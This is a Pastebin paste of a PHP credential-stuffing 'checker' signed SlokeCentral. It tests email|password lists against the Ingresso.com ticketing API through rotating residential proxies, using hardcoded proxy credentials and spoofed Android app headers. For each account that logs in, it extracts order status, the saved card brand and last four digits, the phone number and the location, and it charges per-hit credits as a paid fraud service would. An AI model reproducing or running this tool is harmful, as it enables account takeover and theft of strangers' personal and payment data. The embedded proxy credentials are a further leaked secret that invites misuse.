Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- extract($_GET);
- error_reporting(0);
- $separar = explode("|", $lista);
- $email = $separar[0];
- $senha = $separar[1];
- function getStr($string, $start, $end) {
- $str = explode($start, $string);
- $str = explode($end, $str[1]);
- return $str[0];
- }
- function soNumero($str) {
- return preg_replace("/[^0-9]/", "", $str);
- }
- function inStr($string, $start, $end, $value) {
- $str = explode($start, $string);
- $str = explode($end, $str[$value]);
- return $str[0];
- }
- function getString($string, $start, $end, $value)
- {
- $str = explode($start, $string);
- $str = explode($end, $str[$value]);
- return $str[0];
- }
- if (file_exists(getcwd() . '/cookie.txt')) {
- unlink(getcwd() . '/cookie.txt');
- }
- if ($_SERVER['REQUEST_METHOD'] == 'POST') {
- extract($_POST);
- } elseif ($_SERVER['REQUEST_METHOD'] == 'GET') {
- extract($_GET);
- }
- function getStr2($string,$start,$end) {
- $str = explode($start,$string);
- $str = explode($end,$str[1]);
- return $str[0];
- }
- function Curl($url = false, $post = false, $header = false) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) ."/cookie_.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) ."/cookie_.txt");
- curl_setopt($ch, CURLOPT_COOKIE, dirname(__FILE__) ."/cookie_.txt");
- curl_setopt($ch, CURLOPT_COOKIESESSION, dirname(__FILE__) ."/cookie_.txt");
- curl_setopt($ch, CURLOPT_TIMEOUT, 25);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- if ($post) {
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- }
- if ($header) {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
- }
- $exec = curl_exec($ch);
- return $exec;
- }
- //*//*#Curl//*////*//
- $proxy = curl_exec($ch);
- $username = 'lum-customer-hl_f8a3ee8d-zone-static';
- $password = 'fpwerybl8cna';
- $port = 22225;
- $session = mt_rand();
- $super_proxy = 'servercountry-AU.zproxy.lum-superproxy.io';
- $result = curl_exec($curl);
- curl_close($curl);
- if ($result)
- echo $result;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://api.ingresso.com/v1/token");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, "okhttp/3.11.0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'Host: api.ingresso.com',
- 'X-APP-ORIGIN: TicketingAppAndroid',
- 'X-APP-VERSION: 2.9.1',
- 'Accept: application/json',
- 'Content-Type: application/x-www-form-urlencoded',
- 'Connection: keep-alive'));
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, 'username='.$email.'&password='.$senha.'&grant_type=password&client_origin=android%3A17085c27ee70f283');
- $resposta = curl_exec($ch);
- $dados = json_decode($resposta, true);
- $userid = $dados['user_id'];
- $token = $dados['access_token'];
- if (strpos($resposta, 'access_token')) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://api.ingresso.com/v1/users/".$userid."/orders?renderView=my-orders&deviceId=17085c27ee70f283&limit=10&skip=0&cancelled=true ");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, "okhttp/3.11.0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'Host: api.ingresso.com',
- 'X-APP-ORIGIN: TicketingAppAndroid',
- 'X-APP-VERSION: 2.9.1',
- 'Accept: application/json',
- 'Content-Type: application/x-www-form-urlencoded',
- 'Authorization: Bearer '.$token.'',
- 'Connection: keep-alive'));
- $resposta2 = curl_exec($ch);
- if (strpos($resposta2, 'Aprovado')) {
- $pedidosAprovados = "<font class='label label-success'>Contem pedidos aprovados</font>";
- }else {
- $pedidosAprovados = "<font class='label label-danger'>Não contem pedidos aprovados</font>";
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://api.ingresso.com/v1/users/".$userid."/payments");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, "okhttp/3.11.0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'Host: api.ingresso.com',
- 'X-APP-ORIGIN: TicketingAppAndroid',
- 'X-APP-VERSION: 2.9.1',
- 'Accept: application/json',
- 'Content-Type: application/x-www-form-urlencoded',
- 'Authorization: Bearer '.$token.'',
- 'Connection: keep-alive'));
- $resposta3 = curl_exec($ch);
- if (strpos($resposta3, 'lastFourDigits')) {
- $ultimosdigitosCC = getStr($resposta3, '"lastFourDigits":"','",');
- $bandeira = getStr($resposta3, '"cardType":"','",');
- $cc = "<font class='label label-warning'>".$bandeira." - ".$ultimosdigitosCC."</font>";
- }else{
- $cc = "<font class='label label-danger'>Sem cartão cadastrado</font>";
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://api.ingresso.com/v1/users/".$userid."");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
- curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
- curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()."/americanas.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, "okhttp/3.11.0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array(
- 'Host: api.ingresso.com',
- 'X-APP-ORIGIN: TicketingAppAndroid',
- 'X-APP-VERSION: 2.9.1',
- 'Accept: application/json',
- 'Content-Type: application/x-www-form-urlencoded',
- 'Authorization: Bearer '.$token.'',
- 'Connection: keep-alive'));
- $resposta4 = curl_exec($ch);
- $telefone = getStr($resposta4, '"phoneNumber":"','",');
- $localcity = getStr($resposta4, '"city":"','",');
- $localstate = getStr($resposta4, '"stateRegion":"','",');
- echo "<strong><font color='#1ABE88'><div class='dd-content box'><i class='fa fa-check'></i>#Aprovada | $email | $senha <font class='label label-primary'> ".$dados['user_first_name']."</font>  <font class='label label-primary'>".$telefone." </font>  <font class='label label-default'>".$localcity." - ".$localstate." </font>  ".$pedidosAprovados."  ".$cc." - SlokeCentral";
- debitar_creditos("1.00");
- contar_login();
- }else{
- echo "<strong><font color='#DA514A'><div class='dd-content box'><i class='fa fa-times'></i>#Reprovada $email | $senha | $loginEmail - #SLOKECENTRAL";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement